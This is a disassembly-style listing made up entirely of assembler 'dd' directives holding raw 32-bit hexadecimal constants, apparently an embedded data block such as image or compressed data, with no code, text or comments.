		dd 0AE8831A7h, 47AC853Ch, 873BAC83h, 0AD863DA8h, 34AF8933h
		dd 873FB08Ah, 0A98647AEh, 40AA893Dh, 8742AF88h,	0AA8748B5h
		dd 3EAF864Ah, 8C36AB8Ah, 0B08941B2h, 40AB8849h,	8D38AC8Bh
		dd 0B88946B4h, 43AD8C41h, 8B48B38Bh, 0B58E3AA7h, 42AD8A4Bh
		dd 8F40AE8Dh, 0B38A4EA9h, 48AF8E43h, 8F44BB8Ch,	0B68E47B0h
		dd 51B08D4Eh, 8B57B68Ch, 0B19046AFh, 47AB8F4Dh,	8F50B291h
		dd 0AD9345B1h, 53A7924Bh, 8D59B88Eh, 0B39248B1h, 51B9914Bh
		dd 9349B290h, 0B49153B4h, 5BBA9055h, 944AB38Fh,	0AF9350B5h
		dd 59BC934Dh, 9649AE91h, 0B6954BB1h, 55B09452h,	9257B693h
		dd 0B8964DBCh, 5BB19553h, 9751B093h, 0B29654ACh, 5DB89557h
		dd 935FB294h, 0B4994CB7h, 55B9984Eh, 9658B397h,	0B99461B9h
		dd 59B49856h, 965FBA97h, 0B69B4EB4h, 57BC9A51h,	9B56B599h
		dd 0B69A58B1h, 61BC995Bh, 9763B698h, 0B79B59BCh, 5AB89E51h
		dd 9A62B89Ch, 0BE9B5DB7h, 59B7986Ah, 9B63B49Eh,	0B99D5CB8h
		dd 62BF9C5Eh, 9C64B49Dh, 0BA9E5DB9h, 5BBA9A6Dh,	9D65B6A0h
		dd 0BC9F5EBBh, 64C09C68h, 9E67B69Fh, 0B8A25DBCh, 65BDA15Fh
		dd 9F68B7A0h, 0BD9D70BDh, 69B8A166h, 9F6BBEA0h,	0BAA45FC4h
		dd 6AB9A267h, 9F72BFA1h, 0B9A16FBFh, 6BBAA368h,	0A566C0A2h
		dd 0BBA469B5h, 73BBA271h, 0A56AC1A1h, 0C2A46DBCh, 72C2A275h
		dd 0A66BBCA4h, 0C3A56EBDh, 76BDA573h, 0A86DC3A4h, 0BFA674BFh
		dd 78C5A770h, 0A873C5A5h, 0C0A775BAh, 76C1A96Eh, 0A779C1A8h
		dd 0C8A972C7h, 78C2AB70h, 0A87BC2A9h, 0BDAB76C8h, 6FC3AA79h
		dd 0AD72BEAEh, 0C4AB7AC4h, 73BFAD78h, 0AC7BC5AEh, 0C5AA82C5h
		dd 74CBAB7Dh, 0AD7CC7AFh, 0BBB076C6h, 7ACCAC7Fh, 0AE7DC1AFh
		dd 0C8AF7EC7h, 7FC9B277h, 0B27CC9B0h, 0CAB180C3h, 7ACAAF87h
		dd 0B281BFB4h, 0D1B183CCh, 7AC6B47Fh, 0B386CCB5h, 0CCB289C6h
		dd 81CDB482h, 0B584C8B6h, 0C3B87ECEh, 89C3B686h, 0B48CC9B5h
		dd 0CAB882CFh, 85CAB68Ah, 0B887D0B7h, 0CBB88BD2h, 8FCCBA84h
		dd 0BA89D2B7h, 0CCB98CC6h, 83CDBB86h, 0BA8DC8BDh, 0CEBC87CDh
		dd 8BD4B991h, 0BB8EC9BCh, 0CFB995CEh, 8FD0BE88h, 0BB92D0BCh
		dd 0CABE8DD6h, 90D0BB97h, 0C08AD1BDh, 0D8BD94D2h, 92CDC090h
		dd 0BE9AD2BFh, 0D4C093D3h, 95CFC292h, 0C493D5C1h, 0D7C396D1h
		dd 98D7C29Eh, 0C599D8C4h, 0D3C796CCh, 9DD6C998h, 0FFFFD1C9h
		dd 4F921FFh, 0FF000A01h, 2C00h,	2920000h, 8000028h, 9FF00FEh
		dd 0A0B0481Ch, 130883C1h, 0B0C85C2Ah, 1087C3A1h, 489C4A23h
		dd 8BC5A2B1h, 0DC6A3318h, 0C7A3B1C8h, 8A43208Fh, 9BD1D91Ch
		dd 532872B7h, 0B2C95CAAh, 0ED783C1Ch, 499BCE62h, 9BBE66B3h
		dd 0DBEA7338h, 4F1F33B9h, 0A833C9Fh, 0A8B44A1Dh, 92F6A251h
		dd 4F6A5D2Ah, 50A7D39Eh, 0DA8D4AA3h, 73D46A74h,	0DD6AB358h
		dd 0B8DB75AAh, 89B6E0AFh, 0ACAE06DDh, 0BF5F7059h, 0F6CB5D72h
		dd 0DCB2DA5Ch, 3B1366E2h, 0BBB4EC57h, 0CB59B777h, 0B65B77C6h
		dd 0A6CD71B8h, 70B84B6Dh, 9F587256h, 58CC5BBEh,	0EFC63C5Eh
		dd 578BC71Ch, 7E3D72AFh, 0EE633398h, 3F5F8FD7h,	8B43A07Fh
		dd 0B359DD06h, 4FA6CAE9h, 991C9E57h, 0B0D7EB9Ch, 4D962363h
		dd 70B8763Bh, 0BB81C369h, 0DCAF980Dh, 0F1B980BFh, 0EEBC1E0Eh
		dd 92CB69B6h, 0BCCE5F2Bh, 0CFE7B1B9h, 0DE9F4189h, 6372BABCh
		dd 0FB0FB2C4h, 0AEFB9DC5h, 0FEC3E0EFh, 6BFF178Bh, 0E8F3F757h
		dd 8F17A7D3h, 0F7FB978Bh, 8FB571EEh, 0ACD67F2Fh, 0EBF3F6FAh
		dd 0BFBFCFDFh, 0A9F6FFFFh, 480E022h, 81E06816h,	52740A04h
		dd 0F4B20C4Bh, 0C0ED4C12h, 0F384D353h, 50D3A4E4h, 0D474DD40h
		dd 18761C86h, 2A205314h, 2488D565h, 5AD86896h, 0D6458D6Fh
		dd 760D6559h, 0C16F5B62h, 2A5D1715h, 5E8D35E2h,	5C05CD7Ch
		dd 0F5AA2D60h, 215A8FE2h, 926418A6h, 9159364Dh,	0DA96A193h
		dd 1935A366h, 599992DAh, 966A64A6h, 95DB56B1h, 0DB695CE7h
		dd 0B6E5B76Bh, 1BD385Bh, 0C2711627h, 58DBD991h,	0E6A759C8h
		dd 3749D375h, 566B319Dh, 0E8769D87h, 9DA7678Dh,	0A7A9E5EAh
		dd 7CDE177h, 0C9EF7D1Fh, 7E2827h, 0A1A86A16h, 68AA2608h
		dd 0D82E0A81h, 3D29A3E0h, 1484A128h, 3E4F64D2h,	0E9A8794Bh
		dd 8869AA6h, 86A08962h,	699014FAh, 8AD61581h, 2A58B22Bh
		dd 55BD5C90h, 0D6FE5CDCh, 5EA369A0h, 1BEAD4D6h,	0C8F98260h
		dd 0CD6B6D6Ah, 90538E46h, 652C2B05h, 64E94253h,	26625093h
		dd 0AE51B165h, 0B59698B6h, 0B4ED26DDh, 0ED6B4DAEh, 0D70A60B5h
		dd 70E136D7h, 0D25C5C3Bh, 719B7706h, 0DD69C669h, 69C2E89Bh
		dd 127372EEh, 0DD76CC33h, 782F29DDh, 0E769EE7Bh, 0ABE6F8A0h
		dd 0F687A0AFh, 8B7F2FEBh, 0A3608C06h, 0F06C1526h, 5A4307C1h
		dd 54ED4C4Eh, 10A78F3Ah, 0C4F12C47h, 0AA252714h, 0C5D8955h
		dd 0C6BA8BD5h, 63601678h, 59E665C9h, 56EAEAA5h,	93731EC9h
		dd 5AB53663h, 0CF34CCF3h, 0CCCCF754h, 72D33F34h, 8AE6B88Eh
		dd 0F33C8B32h, 0E157ED2Ch, 622BE964h, 9906CB42h, 0CB26C491h
		dd 51A2B1CFh, 0CB926529h, 0B4656D3Eh, 0F56D56D8h, 0A360E1D5h
		dd 4CD2AD75h, 0D2D7CD23h, 0D8F5ACB4h, 0D6D6F64h, 99A8D272h
		dd 0B5D9BB6Eh, 6E30DDADh, 0DAE6EDC7h, 0E7CBBEEDh, 0A2D6822Eh
		dd 0B8DEFEB7h, 0BEF7EDECh, 780BCAF9h, 2DEB7EDEh, 2788E1CBh
		dd 2E278AEh, 81F8EE37h,	792E44A6h, 6E4E03E4h, 8A6E5F9h
		dd 835CD74h, 0A3B9EE77h, 7A2C320Ch, 1A59504Ch, 529FE9A2h
		dd 1AEA7155h, 0EBEAC55Fh, 4E3CA159h, 28CCE0CFh,	0D62A8D17h
		dd 0C15D32B5h, 0ABFBEED1h, 72F36EB5h, 332EEBB9h, 123BCDEBh
		dd 0CC99A327h, 6E1BA713h, 55BD15B0h, 2918EF6Dh,	64FB9425h
		dd 4EF67DAFh, 0F7F483D7h, 0EC64FE0h, 8D025C3Bh,	5BE79835h
		dd 0D8D64D9Bh, 363ED364h, 0B5ED7CD6h, 2FCB6072h, 0BF355DFFh
		dd 0D19CB5FCh, 0BBF6DDC9h, 9EDBB400h, 404802h, 0E05E0DBEh
		dd 16DF8F91h, 160640C7h, 8C1081EEh, 2160E2A0h, 22A5038Bh
		dd 0E0C8AE15h, 20271F05h, 730821C9h, 8A10C20h, 50B93847h
		dd 2714C284h, 983FDCCCh, 0B9CDC2C1h, 0FB9C85F0h, 35210C9Ch
		dd 0EEB476BAh, 18DC3886h, 1581B6ABh, 2B0EC21Eh,	0CB3B25FEh
		dd 0B2A79A36h, 7888D56Dh, 5E959A36h, 26B2B772h,	2D65913Ah
		dd 9CF10E3Bh, 0E575A6F3h, 797B2C65h, 0C8B6CB62h, 11662EC5h
		dd 52F9BA30h, 2D05A4A9h, 32CD2076h, 0F707E34Ah,	0F13DE59Ah
		dd 0E3360B3Dh, 0B91CA38Bh, 0B1703554h, 35C6C8Fh, 81A4CB5Bh
		dd 0B1EDB08Dh, 5F9B607Eh, 1C919C33h, 90F21867h,	22244C88h
		dd 0FE8CB5D9h, 0F5800DC1h, 29F4F2Ah, 0E17B1E47h, 0CB866FADh
		dd 583526A0h, 0D05C528Ah, 0A50C1793h, 0C0D83328h, 160E2652h
		dd 80A50CA8h, 0C94A1944h, 0AE148291h, 67092584h, 0DA133969h
		dd 0CCB896F2h, 0C9772EA5h, 840A5E4Bh, 8680CC85h, 4C198530h
		dd 98F0C068h, 0C1E1942Eh, 85CCC1D0h, 0A22D63B5h, 58538ADAh
		dd 9E1FBAE5h, 0F16254ACh, 0F769369Dh, 0A8D11CAAh, 4BC1768Bh
		dd 0C4939AF1h
		dd 9CB170BBh, 74135C49h, 0E7B6D7FCh, 0CF7F2B98h, 0E0CD8690h
		dd 0E4E6B339h, 0FEF16BEFh, 0D2D6A3E4h, 0C8D7AD87h, 5B517AD1h
		dd 16A23ED6h, 86BA398Fh, 2834727Ch, 0B655ACF9h,	0A1F201B2h
		dd 335FAD10h, 8A8CD1A4h, 1818F45Ah, 3746862Dh, 7A8ED1CAh
		dd 2AEDA3B4h, 9924BC06h, 7261C1C0h, 9BE2836Fh, 0B7B5F149h
		dd 93A2B9C3h, 4C698D30h, 990A495Fh, 38A6F4DAh, 532B2985h
		dd 0FA9ED341h, 0A4B61494h, 41412EA9h, 0B51AA2D4h, 450543A8h
		dd 89796F2Fh, 0A9F53AA6h, 54AA8D50h, 5FD52AA7h,	0C3981302h
		dd 0B356AACCh, 0CA17CC8Ah, 0FD609AD0h, 654CECA1h, 0A5F8E216h
		dd 9E4A6189h, 0C5B89A99h, 78658867h, 23671CE2h,	38D723A9h
		dd 0FF7F8CC5h, 87A6483h, 24E84ED8h, 89C918E7h, 4A2D4599h
		dd 0F61A8C33h, 0EC3588B0h, 0D10A2A33h, 9F66DDB2h, 37C6FB56h
		dd 0F0C66A12h, 0E17B264Dh, 0C837E393h, 846FAD61h, 5A0B243h
		dd 18FAB4ADh, 345E8951h, 6D4DA8B1h, 5ACA3F62h, 175472D4h
		dd 5FEFDB0h, 9F21756Ch,	8236D85Bh, 3A5340Bh, 97386B71h
		dd 0A214B4E6h, 8770AE08h, 0FE9ADC4Bh, 0A530B8F6h, 0AB9751E9h
		dd 0F73AE689h, 0AE7DD0B9h, 553B9B54h, 0BAD5344Dh, 542ECD54h
		dd 0EEDDC121h, 0E0BBF77Ah, 0AF55AF0Dh, 9864CC0Ah, 3DE8BCF7h
		dd 0DAB556EFh, 48AA1755h, 0AF8D6345h, 5F4BE77Ch, 5B6F3516h
		dd 7BD58B2Bh, 0B7B34785h, 0B58BD5BAh, 0EB14DFCAh, 1602B75Ah
		dd 0ACEE3B30h, 0E9D6726Bh, 4DDE0136h, 0CF39E15Fh, 8C739F81h
		dd 18C33D74h, 62176D89h, 67D87C29h, 0A5B07460h,	3D3EE87Dh
		dd 26C959FBh, 4D94A0B4h, 7B443B31h, 963F1635h, 866D14B4h
		dd 0E34C676Ah, 0B5F61A8Ch, 8EB1CDB3h, 0D9E3CC77h, 0BD16EA0Ah
		dd 8726DC4Dh, 6A9BDC8Ch, 7E43A612h, 1B894CA9h, 0A276E75Dh
		dd 2E8E4D13h, 547B9771h, 0B9F94451h, 96B2C896h,	4865BCB7h
		dd 92121964h, 0C598B308h, 70495DECh, 3E66CC77h,	0C398FE73h
		dd 8736E6CBh, 8E701137h, 0DCE79CB3h, 2243385Dh,	48109011h
		dd 67CCF630h, 0BCD7A73Eh, 7A73FE7Bh, 611C9AB7h,	0FB9865DEh
		dd 55A2B44Dh, 3746C444h, 697C89FAh, 52F0CD2Bh, 9A5B054Fh
		dd 5B926D4Dh, 1E33CF00h, 0C0C770EFh, 0DC676370h, 0EFE9C808h
		dd 0B2C834A4h, 74BE2940h, 0C85D1E11h, 2D88C756h, 3D678F46h
		dd 0D8D68D5Bh, 68B583B0h, 0E246B4FDh, 8E58AED0h, 427608E2h
		dd 0C95A1B27h, 64B1AD6Ah, 6DADED33h, 0C35A518Ch, 0D6CE18F6h
		dd 4DA76DB1h, 7AD2DB6Dh, 76C8B1DAh, 8AD15BB6h, 0DBE29E0Ch
		dd 0B8851C9Dh, 72E45DC5h, 9AC996FFh, 2DBA84C0h,	8776E681h
		dd 0C6EACB79h, 31359644h, 0FBDB27EFh, 72E5CEDEh, 0E68DDD96h
		dd 0DFFBF847h, 0BFF80F00h, 82704107h, 8E0A243h,	7C2B84Fh
		dd 3B868851h, 8F10E1FCh, 4E27C4B8h, 42278771h, 0B8C8BD20h
		dd 0F1BE37C6h, 1783073Eh, 0A08F7F1Fh, 1C9BCFFEh, 39730EF3h
		dd 0CAB45C49h, 963C1455h, 0C82E916Fh, 60CBB003h, 0DCE63F96h
		dd 63C5D2F5h, 0ED415E70h, 2E10EF60h, 708A8382h,	0D253D724h
		dd 0C934BB53h, 0E1E4DE48h, 55EDA6F4h, 0B8C73B47h, 722EBA78h
		dd 0A7658BA1h, 0AB5FB196h, 2D8BD686h, 0BB06C90Eh, 7608DFEBh
		dd 0B60EB5B1h, 0ECB8835Ch, 30AD4515h, 0B5F6CED6h, 0D5D9DD4Bh
		dd 0E7B6B6C6h, 0DBBAF74Eh, 0E6DC163Dh, 3DC629F6h, 828E980Ah
		dd 2E6F80B8h, 656F07E0h, 0CAD933C2h, 0C0B30E5Ah, 0C6F8CF17h
		dd 8DDF9BFFh, 27E4B85Fh, 1042F0AFh, 9F0CE1DCh, 0CE2BE5F8h
		dd 0FE783EF9h, 33887DF3h, 8770FBE8h, 0F4FE9BD2h, 0C5FD3673h
		dd 0FF2FF1FFh, 7F17A2F0h, 0CC2F390Ah, 0E2F436DBh, 8D76F6FCh
		dd 0F4E3CDD9h, 581B4D26h, 0E03EA23Bh, 0AF76EFA6h, 0C899057Ch
		dd 0E2A4D531h, 7D52B16Ah, 4A7116E5h, 4F4C3736h,	0C5C3E431h
		dd 0B8B2FAC2h, 0FEADF5FBh, 0CDC47DAFh, 0CE3CDADDh, 0CB61DB45h
		dd 5D62D576h, 0F62F5BEBh, 7631A837h, 0EADDA7F4h, 8E461588h
		dd 5C8B9B6Dh, 0F8FB5DC4h, 0BFDEBFC7h, 7F71F7CDh, 800FFFBh
		dd 7FC0A380h, 609F77Ch,	109C09F8h, 6F764E5Ch, 99099096h
		dd 0A8106FA0h, 5CD6F86Fh, 9265B6F6h, 979408F0h,	81B81A81h
		dd 1E07F819h, 0B82081F8h, 81F07B07h, 26825822h,	879E8268h
		dd 82B7A382h, 0A579E82Ch, 77A482D7h, 778327Ah, 3683506Ch
		dd 98388378h, 10283683h, 0EF28638Dh, 0D1E62F41h, 4062F01Dh
		dd 0B8609373h, 0D6988477h, 57A73B7Bh, 0C4743496h, 57C66A67h
		dd 7D14A538h, 0DC4196E6h, 97F83896h, 0AD77938h,	0E40A57FFh
		dd 47865316h, 7FE7FD5Ch, 6685B7FFh, 98688678h, 6D377586h
		dd 537547F5h, 0D86E7547h, 7E676B86h, 0D50D4759h, 98780D40h
		dd 76487A87h, 877F0632h, 786D76B5h, 0B47750Bh, 86869776h
		dd 0DFFE85B8h, 380485C6h, 88D88C86h, 9C807863h,	589280E0h
		dd 9589409h, 9808D6EDh,	0F78E8998h, 89D09108h, 636FC091h
		dd 56FE08D6h, 70408870h, 27824820h, 78238A98h, 7928208Ah
		dd 0AA8AC8ACh, 0F8B18B18h, 8B58B406h, 6F8B78B6h, 806E06E0h
		dd 8BA8B48Bh, 0C08BF8BEh, 0A8BE8C18h, 8C58C483h, 0B41028C4h
		dd 0C28B3944h, 27F0B30Bh, 4269D282h, 748F73C8h,	7BF7C260h
		dd 57C17C1h, 77C52754h,	52B5BC6Ah, 49747852h, 15C84196h
		dd 6E55C186h, 0E45BF6E0h, 56E177D6h, 64F80A78h,	4F096811h
		dd 90A209A6h, 9F5C180h,	0F888E8E9h, 78648F98h, 7F97790Ah
		dd 0B46DAh, 98738729h, 0CA75A58h, 78906905h, 79060CA8h
		dd 5890D50Ch, 0F586D76Ch, 0D76D76D7h, 88490086h, 7B801867h
		dd 391A8FA7h, 9C8086Eh,	9289191Eh, 391F80E8h, 91F92492h
		dd 91894921h, 0E0918980h, 70492C08h, 3092F088h,	2F93FE19h
		dd 47040849h, 93693408h, 83934935h, 93C9320h, 93A08393h
		dd 0B207F083h, 306F8A98h, 94794694h, 4A8BC822h,	0D0668B69h
		dd 6B94D94h, 4E950950h,	10670669h, 6506795h, 5A067065h
		dd 0D95C95B9h, 95F95E95h, 62961960h, 0B1029629h, 4214B654h
		dd 30A94B0h, 0B0AE4172h, 4956AA5Bh, 711EB84Eh, 0C8DB84E9h
		dd 38A7CF8Dh, 785BA74Ah, 7D26479h, 8F280A53h, 0F18EE80Bh
		dd 0B9805C28h, 80788C91h, 2791E91Dh, 189E8969h,	89E6FF09h
		dd 21895092h, 89239229h, 99799698h, 9809C998h, 0A8658639h
		dd 91577386h, 0E29100B4h, 70CA5877h, 9A790A0Ch,	869A79A8h
		dd 9A20C25h, 9A29159Ah,	0B49AE0B9h, 991988A0h, 9B79988Fh
		dd 0E9239B7h, 0D9BC8958h, 9939929Bh, 9D08D9BDh,	893D08D8h
		dd 93693F93h, 0CA080084h, 8AF9CB9h, 9CA9CB82h, 59C6709h
		dd 508081F7h, 9D794B82h, 0D79D99D8h, 0DC9539FEh, 0D9DE9DD9h
		dd 9E105E94h, 0E49E39E2h, 79E39E59h, 9E99E606h,	0E395B05Eh
		dd 0F9EE0569h, 9F19F09Eh, 0EE9F39F2h, 65521029h, 96654D4Bh
		dd 0A20A453Fh, 97D549D4h, 7CD6AA6Ah, 0F3526A02h, 773F8502h
		dd 7C87D097h, 7D6E3532h, 3A0B6E19h, 6E25C16Eh, 0F48905C2h
		dd 988158h, 6F20958Ah, 1E64F80Eh, 0F9258F39h, 9C0924A1h
		dd 2C89D928h, 0F93B08E9h, 8A08A92h, 8EA25931h, 109589E0h
		dd 9939BC09h, 34993A21h, 5099A35Ah, 8F98F699h, 3C0AB918h
		dd 29109B2Ah, 0C00B60Ch, 0CAA439A9h, 590F0C00h,	0A499B27Fh
		dd 0ABA3C9B2h, 39979870h, 926A36A3h, 95099A36h,	5A2CA248h
		dd 0A5998DA2h, 30A25A59h, 0F9C908A9h, 0A60A609Ch, 0CB078078h
		dd 0BA638259h, 0A69A6307h, 65A69A64h, 89CAA61Ah, 7407B07h
		dd 7206F074h, 79DF8B40h
		dd 0A79A78A7h, 62066A7Ah, 0FA7EA7D0h, 62A80A7h,	0FEA8305Ah
		dd 84A85A84h, 9A88052Ah, 0A8BA8AA8h, 0F4A8DA8Ch, 0FA8B9F09h
		dd 4FA9204h, 96A939EEh,	6A98A97Ah, 102056A9h, 9EA9D093h
		dd 0D5DD093Ah, 93090A9h, 9A0975DAh, 154A4B60h, 9FD9FB0Ah
		dd 0A47D5418h, 0D38B97A4h, 0AB3AB096h, 458548E1h, 497D7866h
		dd 65798498h, 8A7895CDh, 7937037h, 65B6EF70h, 5A80FA53h
		dd 0D8999BE6h, 0ACB93B08h, 0A8AD708h, 908E9307h, 0A5A92C89h
		dd 0D6AD5AD4h, 79BF89DAh, 9B891FA3h, 4C7FD806h,	910A3EAh
		dd 0AE2AE20Ch, 0E4A410B6h, 0C9A0914Ah, 0A7A3CA4h, 4CAEDAEAh
		dd 0A8066E2Ah, 9BDA3698h, 56AF5AD7h, 8A2A92CAh,	0AFBAFA9Ch
		dd 29A28936h, 0E9C8933Ah, 0A6AA6FA6h, 6A72A63h,	90728B7Bh
		dd 0B0BB0AB0h, 68B4B09h, 1A72B0FBh, 0B0A8B5A7h,	8094E06Fh
		dd 9B18A86Ah, 0A7DA81B1h, 83B1BA79h, 8A87052Ah,	0A8DA85A8h
		dd 26B25B24h, 2A99A8ABh, 0A9304BA9h, 0B2FED04Bh, 30B29B2Dh
		dd 2A93047Bh, 4FB30B3h,	4FB37047h, 0E6721020h, 5E066966h
		dd 0A65CE5D7h, 454609AAh, 0AB55C753h, 48B47B46h, 2AAF96DBh
		dd 0A0D74864h, 80B4F8E4h, 0FA1E09F7h, 6F180E64h, 969BE6F1h
		dd 0A8A38178h, 70592F81h, 23AD68A2h, 0EA57AD6Ah, 0A2908808h
		dd 1E9CA936h, 7B9CF8h, 0A6107F08h, 29936082h, 308AB71Ah
		dd 0AF7A2DB6h, 58B77B74h, 1894AD8Ah, 0ADBA2092h, 0ABAEEA39h
		dd 3AE59B20h, 0B84B84AEh, 879000B6h, 0BB800B4Bh, 808B80B8h
		dd 2FB589BBh, 3B7898DAh, 0B7492BB6h, 98082B71h,	89CBB02Bh
		dd 0B9DB9CB9h, 9FB9B082h, 78B03Bh, 0B0CB06B1h, 0A806DB0Ch
		dd 9BAABA9Bh, 0BADBA6BAh, 6ABAA06Fh, 20640660h,	0BB5B19A8h
		dd 0B8BB7BB6h, 0BB27BB9Bh, 0B2E052BBh, 0C0BBFBBEh, 3BC2BC1Bh
		dd 0B3704BBCh, 0C8BC7BC6h, 6BCABC9Bh, 673B3ABCh, 0E066E671h
		dd 0C096AC35h, 49D546ABh, 5C65FE35h, 0DABD9A0Dh, 25C464BBh
		dd 6F764CB5h, 9DBE1BE0h, 2A1D5C20h, 80FB545Ch, 8A1B59h
		dd 908F8987h, 708A2789h, 3F9CD934h, 0FA27BF39h,	0AC9A5792h
		dd 65B74898h, 8088A2ABh, 0A600839Ch, 680748A9h,	4B9AA6AAh
		dd 0C06B9808h, 0AB72082h, 0E9C8A5ECh, 0C0BB9DB9h, 31A30B79h
		dd 0EA34A54Ah, 0B800A3B7h, 1AAE5915h, 0AC1BB83Ch, 0AED900C1h
		dd 0E2A3C88Ch, 1AF0AEA6h, 0B92B6189h, 9EB72B63h, 0EC0AC0BBh
		dd 9CFB9CC0h, 0CAB9AA63h, 9C30C2F9h, 0BA6BA5A6h, 6A06DBABh
		dd 0DC3CC3B0h, 0C3F064C3h, 0B1C40C3Bh, 0AC44C3DBh, 0C3EBA806h
		dd 4A061062h, 3B20B18Ch, 0B21B22B2h, 0B8BB9C4Dh, 405AA89Bh
		dd 0C57BC4B2h, 5AC59C58h, 0DBCBB2DCh, 0BCBC5EC5h, 6205F102h
		dd 695A05FCh, 8BA8C58Ch, 6AC69075h, 0C07CC69Ch,	81C07F07h
		dd 1AAC0819h, 0B7058188h, 898BEB89h, 0FF940793h, 69CE941Bh
		dd 0A6AB0482h, 0B9A827FEh, 73A70C03h, 4B0D9D7Ah, 6B06D8Bh
		dd 5806A066h, 0A0640659h, 0C8F9E19Eh, 3D065C3Fh, 9C96C39Ch
		dd 0C3FC3EC3h, 61060060h, 4C9E0570h, 0CA1053B2h, 5D057A88h
		dd 0FC4AC9C0h, 64CA8C3h, 45C4206Ah, 0FCA9C45Ch,	0C3CCA8CAh
		dd 10B09BACh, 0C7FB05Bh, 0B9CB9F08h, 75086A29h,	508C095Bh
		dd 9409409h, 0C4CC309Bh, 1CC3CC5Ch, 8CCBECCh, 9708ECBCh
		dd 6086B9DBh, 0CCFCBB08h, 0A3080B9Dh, 8B0A074Bh, 0C96072BAh
		dd 0ADCAFC44h, 0ACAFC99Ch, 0CE105DC4h, 0E2CA105Dh, 7CE6CE5Ch
		dd 58CE3CEh, 50058CEAh,	0F04ACED0h, 48CF0CEh, 43CF3CF2h
		dd 7CF6CF50h, 0CF5B2ECFh, 0F6CFAB2Dh, 0BCF2BC1Ch, 0B2D043CFh
		dd 3E03D03Dh, 703503D0h, 0D09D08D0h, 0C030D09h,	0FD0A030Dh
		dd 0D11D10D0h, 14D0DD0Fh, 702B030Dh, 0D19D18D1h, 1CD1BD1Ah
		dd 6D1AD1DDh, 0D21D2002h, 24D23D22h, 7D2601FDh,	0FE9D28D2h
		dd 0D2BD2AD2h, 64C61D2Bh, 95E963Ch, 8C183595h, 22C6AC6Bh
		dd 81FC6E8h, 0D3BD3AC7h, 38B5D794h, 8BFF9CB9h, 9D5B69B6h
		dd 2C84C83h, 0FBA4BA4Ch, 0B0FA6AC7h, 97C88A74h,	0EC3BBB0Ch
		dd 5EC8FC8h, 8BC9DCA6h,	1057C9EAh, 0CA9C9B06h, 0DDBA9C45h
		dd 0AC3FCB0Ch, 57D5AC4h, 0ED053CA1h, 0AA89050Ch, 0D6705204h
		dd 58CA1050h, 7CE5D580h, 0D73D60CAh, 61D62CB0h,	8CB2CB00h
		dd 0D48B0BCDh, 9CC04A72h, 0F07E07EBh, 8CCCFCCh,	0C208CD84h
		dd 4CC6CC6Ch, 0D82D8509h, 80B9E086h, 0FD8F082Dh, 0B9907ED7h
		dd 98CD9CD5h, 4D75CAECh, 0D76CA8D7h, 0EBCE2D76h, 8DA0D9FCh
		dd 0DA1CE805h, 0EF050CEAh, 7DA8CF3Ch, 41CF6CFh,	0AEDADDACh
		dd 1DAE03EDh, 0DAADACDBh, 5DAFDABh, 5D13D06Dh, 0DBBDBAD1h
		dd 0AD12D0Ch, 0C030DBCDh, 0DC3DC202h, 1EDC2DC4h, 9025D1ADh
		dd 0DCBDCADCh, 0CCDCDDCCh, 1020D2BDh, 3DFED2DDh, 0D2CDD3DDh
		dd 29DD7DD6h, 3055102Dh, 0D30C63C6h, 6B95B959h,	8C306C0h
		dd 0C6DD358Ch, 6DC6FC6Dh, 0FDEAD3CCh, 70A932ACh, 6D9CD940h
		dd 6A70822Bh, 8BB07482h, 71BA49D8h, 4D4C822Ah, 0C89A758Bh
		dd 0FFDFF951h, 2958C3CDh, 9E10609Eh, 9EB24C9Fh,	8D5BD54Ch
		dd 0CAC060CAh, 9CD73CDEh, 3C9ED58Ch, 0A8BC5605h, 53D65CEDh
		dd 0CC9BE120h, 0D77064D9h, 20D9CD61h, 0EE1EE21Eh, 0BADCB3E0h
		dd 64B06CB4h, 6CBCC2BAh, 0D86D8508h, 2FD87CC1h,	0FD84D8AEh
		dd 0D8DCCCCCh, 2ECB8B99h, 6A6FCD3Ch, 0D98C47CDh, 40E22CA9h
		dd 205DD9DEh, 0D9FCE1D6h, 50E47D6Ch, 0EE18CEA0h, 0D67CECD6h
		dd 0F4CF1058h, 1CF5DB4Ch, 0D03D03DBh, 58E5703Eh, 2D05E59Eh
		dd 43DB3DBh, 0B7D04DAEh, 5D15D0BDh, 0DC5D1BDCh,	0BCD12DC0h
		dd 0EDC6D17Dh, 0E6DDCED1h, 70DD4DCCh, 0E72E71Eh, 0D2ADD802h
		dd 78E7701Ch, 0BE7AE79Eh, 0FE7BFEE7h, 55DDA01h,	0DEE81E80h
		dd 1065C8DDh, 0D35D3495h, 7C07FD35h, 1E8B0810h,	81CE8E08h
		dd 39C7AAFCh, 19C69399h, 0AFB93AE9h, 4C829CCh, 606EB06Bh
		dd 0D7CD7BE2h, 0A8B0BC37h, 5EA4069Bh, 69EA6EAh,	0AAC9BC3Ch
		dd 7E06C9BEh, 0D58A8CE0h, 0CEAAEABh, 1CB0E0DEh,	0E12EB1EBh
		dd 0EED65D64h, 0FCF0CF1Ch, 0E4BD67CEh, 43CA4CA1h, 2E41E41Eh
		dd 0CB1E20CEh, 9EBABC3Bh, 9B06072Eh, 80C3107h, 0D107ED80h
		dd 7E31E2DCh, 0D8BE2FCCh, 7ED8FCCFh, 0D0739CA0h, 73EDEEDh
		dd 80EDEEDCh, 0CECE0790h, 0CADC3AE3h, 0EAEC4CDFh, 605DCE0Eh
		dd 0E4EE48E4h, 4CE4C058h, 9EBDD6CEh, 41CF7DAh, 59DB2E53h
		dd 0AE5A041Eh, 0DADE5CE5h, 58DACE5Eh, 703903DEh, 35036D0h
		dd 0ADC5DBAh, 0FDBCF0AFh, 0E6BDC0DBh, 6EE6CDC4h, 3025F13Eh
		dd 0E73F15DDh, 75E74F18h, 701CD26Eh, 1FE79D2h, 1FF21E7Ch
		dd 5E81E7FFh, 6F26F2FEh, 95895DF2h, 688C2DFFh, 0FDE6DE5Ch
		dd 0F31E8EF2h, 507CD3Ah, 6792F347h, 80B01E9h, 1EB6C704h
		dd 9B04C7E8h, 0F2CB0FC6h, 0BAB0B8C2h, 6E9D0728h, 0B09F47F4h
		dd 60EA606Dh, 4F4D0650h, 0EABC8DE8h, 0E1EAC9E1h, 0DE14A899h
		dd 0E09EC1A8h, 5CF5BEB6h, 0AE12EABFh, 0BBEEBBEBh, 0F0BBE048h
		dd 9E4BE17Ch, 0F69EB8EBh, 0E6CE8C9Eh, 8D76D70Ch, 0C96C46ECh
		dd 64D7DBADh, 1D939CAAh, 0E2DD83CDh, 0D0ED8F7Ah, 49CBED1Ch
		dd 79F80EEh, 7FF82EE3h,	0BD96B05Fh, 0E42D9ACAh,	44CE1F6Ch
